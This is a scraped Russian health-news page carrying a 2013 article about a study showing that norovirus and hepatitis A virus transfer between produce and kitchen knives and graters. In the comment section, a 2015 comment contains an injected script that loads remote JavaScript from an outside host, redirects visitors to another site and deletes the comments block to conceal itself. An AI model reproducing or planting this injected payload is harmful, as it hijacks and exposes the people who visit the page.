Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Ученые нашли самый опасны...  >>  Ученые нашли самый опасный столовый прибор
 
Обратная связь
 

Ученые нашли самый опасный столовый прибор

Размер шрифта
15 февраля 2013 00:00
Юрий Малышев
Здоровье инфо
Анна Белевская
Здоровье инфо
  • google_analytics: false
  • Нравится

Ранее основной причиной попадания вирусов в пищу считались грязные руки. Недавно американские ученые установили, что вирусы могут длительно сохраняться на ножах и терках.

Ученые нашли самый опасный столовый прибор

Основной причиной пищевых отравлений в США в настоящее время является норовирус. Согласно данным исследований, заражение пищи происходит во время ее приготовления, незадолго до употребления. Считается, что вирусы передаются через грязные руки, однако, до настоящего времени данных о потенциальной роли кухонных предметов в этом процессе практически не было.

В ходе исследования ученые изучили перенос вируса гепатита A и норовируса между овощами и фруктами с одной стороны и ножами и терками с другой стороны. Эксперименты проводились с незараженными кухонными предметами и зараженными продуктами и наоборот.

При использовании незараженных кухонных предметов с зараженными продуктами было заражено более половины ножей и терок. При использовании зараженных ножей и терок заражение продуктов происходило достаточно часто. Использование стерильных ножей и терок после контакта с зараженными продуктами может привести к заражению других продуктов, которые будут разделываться позже.

 Таким образом, необходимо помнить, что кухонные предметы могут стать источником заражения и принимать все возможные меры для ограничения распространения вирусов.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 23:24

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Можно ли сэкономить на воде и не ходить в душ?   Аппарат, который вы трогаете каждый день, грязнее туалета!   Сок из пакета или свежеотжатый. Что пить?   Микробы в самолетах могут жить неделями! А сколько проживете вы после этой встречи?  
28 мая 2013Бактерии спасут человечество от ожирения! Новый метод похудения от гарвардских ученых 28 марта 2013Язва желудка защищает от инфаркта и рака
 
21 сентября 2012ВИЧ полезен в борьбе с раком! 03 августа 2012У бактерий появился новый способ выживания
 

Слайдшоу

1
Ошибки в еде, которые вы точно делаете! 5 мест, где вы точно подцепите простуду!
Ужасы раздевалки Я уже взрослая, а все с прыщами! Как от них избавиться?
Вы задохнетесь у себя дома, если не сделаете этого! Как секс может улучшить жизнь
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.